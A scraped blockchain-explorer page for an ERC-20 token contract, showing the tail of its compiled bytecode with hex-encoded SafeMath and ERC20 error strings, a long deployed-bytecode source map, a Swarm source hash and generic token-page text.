0160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610da0565b600854158015610c475750600954155b15610c4e57565b60088054600a5560098054600b5560009182905555565b600080600080600080610c7787610dce565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610ca99087610e2b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610cd89086610e6d565b6001600160a01b038916600090815260026020526040902055610cfa81610ecc565b610d048483610f16565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d4991815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda1000000610d798282610bf5565b821015610d975750506006549269d3c21bcecceda100000092509050565b90939092509050565b60008183610dc15760405162461bcd60e51b8152600401610436919061105e565b50600061098e84866112ac565b6000806000806000806000806000610deb8a600854600954610f3a565b9250925092506000610dfb610bd2565b90506000806000610e0e8e878787610f8f565b919e509c509a509598509396509194505050505091939550919395565b6000610a1483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061095d565b600080610e7a83856112ce565b905083811015610a145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610436565b6000610ed6610bd2565b90506000610ee48383610fdf565b30600090815260026020526040902054909150610f019082610e6d565b30600090815260026020526040902055505050565b600654610f239083610e2b565b600655600754610f339082610e6d565b6007555050565b6000808080610f546064610f4e8989610fdf565b90610bf5565b90506000610f676064610f4e8a89610fdf565b90506000610f7f82610f798b86610e2b565b90610e2b565b9992985090965090945050505050565b6000808080610f9e8886610fdf565b90506000610fac8887610fdf565b90506000610fba8888610fdf565b90506000610fcc82610f798686610e2b565b939b939a50919850919650505050505050565b600082610fee5750600061034f565b6000610ffa83856112e6565b90508261100785836112ac565b14610a145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610436565b600060208083528351808285015260005b8181101561108b5785810183015185820160400152820161106f565b8181111561109d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461050857600080fd5b600080604083850312156110db57600080fd5b82356110e6816110b3565b946020939093013593505050565b60008060006060848603121561110957600080fd5b8335611114816110b3565b92506020840135611124816110b3565b929592945050506040919091013590565b60006020828403121561114757600080fd5b8135610a14816110b3565b6000806040838503121561116557600080fd5b8235611170816110b3565b91506020830135611180816110b3565b809150509250929050565b6000806000606084860312156111a057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156111cb57600080fd5b81518015158114610a1457600080fd5b634e487b7160e01b600052601160045260246000fd5b600082821015611203576112036111db565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561123057600080fd5b8151610a14816110b3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561128b5784516001600160a01b031683529383019391830191600101611266565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826112c957634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156112e1576112e16111db565b500190565b6000816000190483118215151615611300576113006111db565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046e68f8d647cd5088f5eb9f0e94ed9e9c31db17c254108520387bf537d451a2764736f6c63430008090033

Deployed Bytecode Sourcemap

3884:8959:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12804:10;12826:4;12804:27;;12796:36;;;;;;3884:8959;;;;;5720:83;;;;;;;;;;-1:-1:-1;5790:5:0;;;;;;;;;;;;-1:-1:-1;;;5790:5:0;;;;5720:83;;;;;;;:::i;:::-;;;;;;;;6572:161;;;;;;;;;;-1:-1:-1;6572:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;6572:161:0;1072:187:1;5997:95:0;;;;;;;;;;-1:-1:-1;4298:12:0;5997:95;;;1410:25:1;;;1398:2;1383:18;5997:95:0;1264:177:1;6741:313:0;;;;;;;;;;-1:-1:-1;6741:313:0;;;;;:::i;:::-;;:::i;5906:83::-;;;;;;;;;;-1:-1:-1;5906:83:0;;4571:2;2049:36:1;;2037:2;2022:18;5906:83:0;1907:184:1;4882:28:0;;;;;;;;;;-1:-1:-1;4882:28:0;;;;-1:-1:-1;;;;;4882:28:0;;;;;;-1:-1:-1;;;;;2260:32:1;;;2242:51;;2230:2;2215:18;4882:28:0;2096:203:1;6100:138:0;;;;;;;;;;-1:-1:-1;6100:138:0;;;;;:::i;:::-;;:::i;2963:148::-;;;;;;;;;;;;;:::i;2749:79::-;;;;;;;;;;-1:-1:-1;2787:7:0;2814:6;-1:-1:-1;;;;;2814:6:0;2749:79;;5811:87;;;;;;;;;;-1:-1:-1;5883:7:0;;;;;;;;;;;;-1:-1:-1;;;5883:7:0;;;;5811:87;;6246:167;;;;;;;;;;-1:-1:-1;6246:167:0;;;;;:::i;:::-;;:::i;9658:158::-;;;;;;;;;;-1:-1:-1;9658:158:0;;;;;:::i;:::-;;:::i;6421:143::-;;;;;;;;;;-1:-1:-1;6421:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6529:18:0;;;6502:7;6529:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6421:143;9824:92;;;;;;;;;;;;;:::i;9261:385::-;;;:::i;6572:161::-;6647:4;6664:39;238:10;6687:7;6696:6;6664:8;:39::i;:::-;-1:-1:-1;6721:4:0;6572:161;;;;;:::o;6741:313::-;6839:4;6856:36;6866:6;6874:9;6885:6;6856:9;:36::i;:::-;6903:121;6912:6;238:10;6934:89;6972:6;6934:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6934:19:0;;;;;;:11;:19;;;;;;;;238:10;6934:33;;;;;;;;;;:37;:89::i;:::-;6903:8;:121::i;:::-;-1:-1:-1;7042:4:0;6741:313;;;;;:::o;6100:138::-;-1:-1:-1;;;;;6213:16:0;;6166:7;6213:16;;;:7;:16;;;;;;6193:37;;:19;:37::i;2963:148::-;2876:6;;-1:-1:-1;;;;;2876:6:0;238:10;2876:22;2868:67;;;;-1:-1:-1;;;2868:67:0;;3411:2:1;2868:67:0;;;3393:21:1;;;3430:18;;;3423:30;3489:34;3469:18;;;3462:62;3541:18;;2868:67:0;;;;;;;;;3070:1:::1;3054:6:::0;;3033:40:::1;::::0;-1:-1:-1;;;;;3054:6:0;;::::1;::::0;3033:40:::1;::::0;3070:1;;3033:40:::1;3101:1;3084:19:::0;;-1:-1:-1;;;;;;3084:19:0::1;::::0;;2963:148::o;6246:167::-;6324:4;6341:42;238:10;6365:9;6376:6;6341:9;:42::i;9658:158::-;9759:9;;-1:-1:-1;;;;;9759:9:0;9745:10;:23;9737:32;;;;;;9780:15;:28;;-1:-1:-1;;;;;;9780:28:0;-1:-1:-1;;;;;9780:28:0;;;;;;;;;;9658:158::o;9824:92::-;9867:9;;:41;;-1:-1:-1;;;;;9867:9:0;;;;9886:21;9867:41;;;;;:9;:41;:9;:41;9886:21;9867:9;:41;;;;;;;;;;;;;;;;;;;;;9824:92::o;9261:385::-;2876:6;;-1:-1:-1;;;;;2876:6:0;238:10;2876:22;2868:67;;;;-1:-1:-1;;;2868:67:0;;3411:2:1;2868:67:0;;;3393:21:1;;;3430:18;;;3423:30;3489:34;3469:18;;;3462:62;3541:18;;2868:67:0;3209:356:1;2868:67:0;9323:15:::1;::::0;-1:-1:-1;;;;;9323:15:0::1;:31;9362:21;9393:4;9399:24;9393:4:::0;9399:9:::1;:24::i;:::-;9424:1;9426::::0;9428:7:::1;2787::::0;2814:6;-1:-1:-1;;;;;2814:6:0;;2749:79;9428:7:::1;9323:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9323:129:0;;;-1:-1:-1;;;;;3929:15:1;;;9323:129:0::1;::::0;::::1;3911:34:1::0;3961:18;;;3954:34;;;;4004:18;;;3997:34;;;;4047:18;;;4040:34;4111:15;;;4090:19;;;4083:44;9436:15:0::1;4143:19:1::0;;;4136:35;3845:19;;9323:129:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9470:13:0::1;::::0;9501:15:::1;::::0;9463:71:::1;::::0;-1:-1:-1;;;9463:71:0;;-1:-1:-1;;;;;9501:15:0;;::::1;9463:71;::::0;::::1;4667:51:1::0;-1:-1:-1;;4734:18:1;;;4727:34;9470:13:0;::::1;::::0;-1:-1:-1;9463:29:0::1;::::0;4640:18:1;;9463:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9565:4:0::1;4254:1;9545:26:::0;;;:11:::1;:26;::::0;;;;-1:-1:-1;;4245:11:0;9572:7:::1;2787::::0;2814:6;-1:-1:-1;;;;;2814:6:0;;2749:79;9572:7:::1;-1:-1:-1::0;;;;;9545:35:0;;::::1;::::0;;::::1;::::0;;::::1;::::0;;;;;;;;-1:-1:-1;9545:35:0;;;:41;;;;9609:13:::1;::::0;::::1;9597:26:::0;;:11:::1;:26:::0;;;;;-1:-1:-1;;4245:11:0;9624:7:::1;2787::::0;2814:6;-1:-1:-1;;;;;2814:6:0;;2749:79;9624:7:::1;-1:-1:-1::0;;;;;9597:35:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;9597:35:0;:41;9261:385::o;7669:335::-;-1:-1:-1;;;;;7762:19:0;;7754:68;;;;-1:-1:-1;;;7754:68:0;;5256:2:1;7754:68:0;;;5238:21:1;5295:2;5275:18;;;5268:30;5334:34;5314:18;;;5307:62;-1:-1:-1;;;5385:18:1;;;5378:34;5429:19;;7754:68:0;5054:400:1;7754:68:0;-1:-1:-1;;;;;7841:21:0;;7833:68;;;;-1:-1:-1;;;7833:68:0;;5661:2:1;7833:68:0;;;5643:21:1;5700:2;5680:18;;;5673:30;5739:34;5719:18;;;5712:62;-1:-1:-1;;;5790:18:1;;;5783:32;5832:19;;7833:68:0;5459:398:1;7833:68:0;-1:-1:-1;;;;;7912:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7964:32;;1410:25:1;;;7964:32:0;;1383:18:1;7964:32:0;;;;;;;7669:335;;;:::o;8016:749::-;-1:-1:-1;;;;;8129:24:0;;8096:12;8129:24;;;:18;:24;;;;;;8111:4;;8129:24;;;:50;;-1:-1:-1;;;;;;8157:22:0;;;;;;:18;:22;;;;;;;;8129:50;8126:583;;;-1:-1:-1;8206:5:0;8126:583;;;8244:28;8275:24;8293:4;8275:9;:24::i;:::-;8320:6;;8244:55;;-1:-1:-1;;;;8320:6:0;;;;8319:7;:32;;;;-1:-1:-1;8338:13:0;;-1:-1:-1;;;;;8330:21:0;;;8338:13;;8330:21;;8319:32;8316:382;;;8375:24;;8372:110;;8424:38;8441:20;8424:16;:38::i;:::-;8529:21;8572:22;;8569:114;;8619:15;;:44;;-1:-1:-1;;;;;8619:15:0;;;;:44;;;;;8644:18;;8619:15;:44;:15;:44;8644:18;8619:15;:44;;;;;;;;;;;;;;;;;;;;;8569:114;8353:345;8316:382;8229:480;8126:583;8719:38;8734:4;8739:2;8742:6;8749:7;8719:14;:38::i;:::-;8085:680;8016:749;;;:::o;1295:190::-;1381:7;1417:12;1409:6;;;;1401:29;;;;-1:-1:-1;;;1401:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1441:9:0;1453:5;1457:1;1453;:5;:::i;:::-;1441:17;1295:190;-1:-1:-1;;;;;1295:190:0:o;7062:254::-;7129:7;7168;;7157;:18;;7149:73;;;;-1:-1:-1;;;7149:73:0;;6326:2:1;7149:73:0;;;6308:21:1;6365:2;6345:18;;;6338:30;6404:34;6384:18;;;6377:62;-1:-1:-1;;;6455:18:1;;;6448:40;6505:19;;7149:73:0;6124:406:1;7149:73:0;7233:19;7256:10;:8;:10::i;:::-;7233:33;-1:-1:-1;7284:24:0;:7;7233:33;7284:11;:24::i;:::-;7277:31;7062:254;-1:-1:-1;;;7062:254:0:o;8773:480::-;4984:6;:13;;-1:-1:-1;;;;4984:13:0;-1:-1:-1;;;4984:13:0;;;8872:16:::1;::::0;;8886:1:::1;8872:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8872:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8872:16:0::1;8848:40;;8917:4;8899;8904:1;8899:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8899:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8943:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8943:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8899:7;;8943:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8933:4;8938:1;8933:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8933:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9008:15:::1;::::0;8976:62:::1;::::0;8993:4:::1;::::0;9008:15:::1;9026:11:::0;8976:8:::1;:62::i;:::-;9049:15;::::0;:196:::1;::::0;-1:-1:-1;;;9049:196:0;;-1:-1:-1;;;;;9049:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9130:11;;9049:15:::1;::::0;9172:4;;9199::::1;::::0;9219:15:::1;::::0;9049:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5020:6:0;:14;;-1:-1:-1;;;;5020:14:0;;;-1:-1:-1;;;;8773:480:0:o;9928:263::-;10040:7;10036:40;;10062:14;:12;:14::i;:::-;10087:44;10105:6;10113:9;10124:6;10087:17;:44::i;:::-;10146:7;10142:41;;10168:15;7600;;7590:7;:25;7637:16;;7626:8;:27;7546:115;11532:163;11573:7;11594:15;11611;11630:19;:17;:19::i;:::-;11593:56;;-1:-1:-1;11593:56:0;-1:-1:-1;11667:20:0;11593:56;;11667:11;:20::i;:::-;11660:27;;;;11532:163;:::o;1746:132::-;1804:7;1831:39;1835:1;1838;1831:39;;;;;;;;;;;;;;;;;:3;:39::i;7324:210::-;7370:7;;:12;:29;;;;-1:-1:-1;7386:8:0;;:13;7370:29;7367:41;;;7324:210::o;7367:41::-;7436:7;;;7418:15;:25;7473:8;;;7454:16;:27;-1:-1:-1;7492:11:0;;;;7514:12;7324:210::o;10199:490::-;10298:15;10315:23;10340:12;10354:23;10379:12;10393:13;10410:19;10421:7;10410:10;:19::i;:::-;-1:-1:-1;;;;;10458:15:0;;;;;;:7;:15;;;;;;10297:132;;-1:-1:-1;10297:132:0;;-1:-1:-1;10297:132:0;;-1:-1:-1;10297:132:0;-1:-1:-1;10297:132:0;-1:-1:-1;10297:132:0;-1:-1:-1;10458:28:0;;10297:132;10458:19;:28::i;:::-;-1:-1:-1;;;;;10440:15:0;;;;;;;:7;:15;;;;;;:46;;;;10518:18;;;;;;;:39;;10541:15;10518:22;:39::i;:::-;-1:-1:-1;;;;;10497:18:0;;;;;;:7;:18;;;;;:60;10571:16;10581:5;10571:9;:16::i;:::-;10598:23;10610:4;10616;10598:11;:23::i;:::-;10654:9;-1:-1:-1;;;;;10637:44:0;10646:6;-1:-1:-1;;;;;10637:44:0;;10665:15;10637:44;;;;1410:25:1;;1398:2;1383:18;;1264:177;10637:44:0;;;;;;;;10286:403;;;;;;10199:490;;;:::o;11703:255::-;11800:7;;11753;;;;4298:12;11867:20;11800:7;4298:12;11867:11;:20::i;:::-;11857:7;:30;11854:60;;;-1:-1:-1;;11897:7:0;;;4298:12;;-1:-1:-1;11703:255:0;-1:-1:-1;11703:255:0:o;11854:60::-;11933:7;;11942;;-1:-1:-1;11703:255:0;-1:-1:-1;11703:255:0:o;1886:189::-;1972:7;2007:12;2000:5;1992:28;;;;-1:-1:-1;;;1992:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2031:9:0;2043:5;2047:1;2043;:5;:::i;10697:468::-;10756:7;10765;10774;10783;10792;10801;10822:23;10847:12;10861:13;10878:39;10890:7;10899;;10908:8;;10878:11;:39::i;:::-;10821:96;;;;;;10928:19;10951:10;:8;:10::i;:::-;10928:33;;10973:15;10990:23;11015:12;11031:46;11043:7;11052:4;11058:5;11065:11;11031;:46::i;:::-;10972:105;;-1:-1:-1;10972:105:0;-1:-1:-1;10972:105:0;-1:-1:-1;11128:15:0;;-1:-1:-1;11145:4:0;;-1:-1:-1;11151:5:0;;-1:-1:-1;;;;;10697:468:0;;;;;;;:::o;1151:136::-;1209:7;1236:43;1240:1;1243;1236:43;;;;;;;;;;;;;;;;;:3;:43::i;964:179::-;1022:7;;1054:5;1058:1;1054;:5;:::i;:::-;1042:17;;1083:1;1078;:6;;1070:46;;;;-1:-1:-1;;;1070:46:0;;8597:2:1;1070:46:0;;;8579:21:1;8636:2;8616:18;;;8609:30;8675:29;8655:18;;;8648:57;8722:18;;1070:46:0;8395:351:1;12383:214:0;12436:19;12459:10;:8;:10::i;:::-;12436:33;-1:-1:-1;12480:13:0;12496:22;:5;12436:33;12496:9;:22::i;:::-;12572:4;12556:22;;;;:7;:22;;;;;;12480:38;;-1:-1:-1;12556:33:0;;12480:38;12556:26;:33::i;:::-;12547:4;12531:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12383:214:0:o;12605:147::-;12683:7;;:17;;12695:4;12683:11;:17::i;:::-;12673:7;:27;12724:10;;:20;;12739:4;12724:14;:20::i;:::-;12711:10;:33;-1:-1:-1;;12605:147:0:o;11173:351::-;11266:7;;;;11319:28;11343:3;11319:19;:7;11331:6;11319:11;:19::i;:::-;:23;;:28::i;:::-;11304:43;-1:-1:-1;11358:13:0;11374:29;11399:3;11374:20;:7;11386;11374:11;:20::i;:29::-;11358:45;-1:-1:-1;11414:23:0;11440:28;11358:45;11440:17;:7;11452:4;11440:11;:17::i;:::-;:21;;:28::i;:::-;11414:54;11504:4;;-1:-1:-1;11510:5:0;;-1:-1:-1;11173:351:0;;-1:-1:-1;;;;;11173:351:0:o;11966:409::-;12076:7;;;;12132:24;:7;12144:11;12132;:24::i;:::-;12114:42;-1:-1:-1;12167:12:0;12182:21;:4;12191:11;12182:8;:21::i;:::-;12167:36;-1:-1:-1;12214:13:0;12230:22;:5;12240:11;12230:9;:22::i;:::-;12214:38;-1:-1:-1;12263:23:0;12289:28;12214:38;12289:17;:7;12301:4;12289:11;:17::i;:28::-;12336:7;;;;-1:-1:-1;12362:4:0;;-1:-1:-1;11966:409:0;;-1:-1:-1;;;;;;;11966:409:0:o;1493:245::-;1551:7;1574:6;1571:46;;-1:-1:-1;1604:1:0;1597:8;;1571:46;1627:9;1639:5;1643:1;1639;:5;:::i;:::-;1627:17;-1:-1:-1;1672:1:0;1663:5;1667:1;1627:17;1663:5;:::i;:::-;:10;1655:56;;;;-1:-1:-1;;;1655:56:0;;9126:2:1;1655:56:0;;;9108:21:1;9165:2;9145:18;;;9138:30;9204:34;9184:18;;;9177:62;-1:-1:-1;;;9255:18:1;;;9248:31;9296:19;;1655:56:0;8924:397:1;14:597;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2304:247::-;2363:6;2416:2;2404:9;2395:7;2391:23;2387:32;2384:52;;;2432:1;2429;2422:12;2384:52;2471:9;2458:23;2490:31;2515:5;2490:31;:::i;2816:388::-;2884:6;2892;2945:2;2933:9;2924:7;2920:23;2916:32;2913:52;;;2961:1;2958;2951:12;2913:52;3000:9;2987:23;3019:31;3044:5;3019:31;:::i;:::-;3069:5;-1:-1:-1;3126:2:1;3111:18;;3098:32;3139:33;3098:32;3139:33;:::i;:::-;3191:7;3181:17;;;2816:388;;;;;:::o;4182:306::-;4270:6;4278;4286;4339:2;4327:9;4318:7;4314:23;4310:32;4307:52;;;4355:1;4352;4345:12;4307:52;4384:9;4378:16;4368:26;;4434:2;4423:9;4419:18;4413:25;4403:35;;4478:2;4467:9;4463:18;4457:25;4447:35;;4182:306;;;;;:::o;4772:277::-;4839:6;4892:2;4880:9;4871:7;4867:23;4863:32;4860:52;;;4908:1;4905;4898:12;4860:52;4940:9;4934:16;4993:5;4986:13;4979:21;4972:5;4969:32;4959:60;;5015:1;5012;5005:12;5862:127;5923:10;5918:3;5914:20;5911:1;5904:31;5954:4;5951:1;5944:15;5978:4;5975:1;5968:15;5994:125;6034:4;6062:1;6059;6056:8;6053:34;;;6067:18;;:::i;:::-;-1:-1:-1;6104:9:1;;5994:125::o;6667:127::-;6728:10;6723:3;6719:20;6716:1;6709:31;6759:4;6756:1;6749:15;6783:4;6780:1;6773:15;6799:251;6869:6;6922:2;6910:9;6901:7;6897:23;6893:32;6890:52;;;6938:1;6935;6928:12;6890:52;6970:9;6964:16;6989:31;7014:5;6989:31;:::i;7055:980::-;7317:4;7365:3;7354:9;7350:19;7396:6;7385:9;7378:25;7422:2;7460:6;7455:2;7444:9;7440:18;7433:34;7503:3;7498:2;7487:9;7483:18;7476:31;7527:6;7562;7556:13;7593:6;7585;7578:22;7631:3;7620:9;7616:19;7609:26;;7670:2;7662:6;7658:15;7644:29;;7691:1;7701:195;7715:6;7712:1;7709:13;7701:195;;;7780:13;;-1:-1:-1;;;;;7776:39:1;7764:52;;7871:15;;;;7836:12;;;;7812:1;7730:9;7701:195;;;-1:-1:-1;;;;;;;7952:32:1;;;;7947:2;7932:18;;7925:60;-1:-1:-1;;;8016:3:1;8001:19;7994:35;7913:3;7055:980;-1:-1:-1;;;7055:980:1:o;8040:217::-;8080:1;8106;8096:132;;8150:10;8145:3;8141:20;8138:1;8131:31;8185:4;8182:1;8175:15;8213:4;8210:1;8203:15;8096:132;-1:-1:-1;8242:9:1;;8040:217::o;8262:128::-;8302:3;8333:1;8329:6;8326:1;8323:13;8320:39;;;8339:18;;:::i;:::-;-1:-1:-1;8375:9:1;;8262:128::o;8751:168::-;8791:7;8857:1;8853;8849:6;8845:14;8842:1;8839:21;8834:1;8827:9;8820:17;8816:45;8813:71;;;8864:18;;:::i;:::-;-1:-1:-1;8904:9:1;;8751:168::o

Swarm Source

ipfs://46e68f8d647cd5088f5eb9f0e94ed9e9c31db17c254108520387bf537d451a27
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.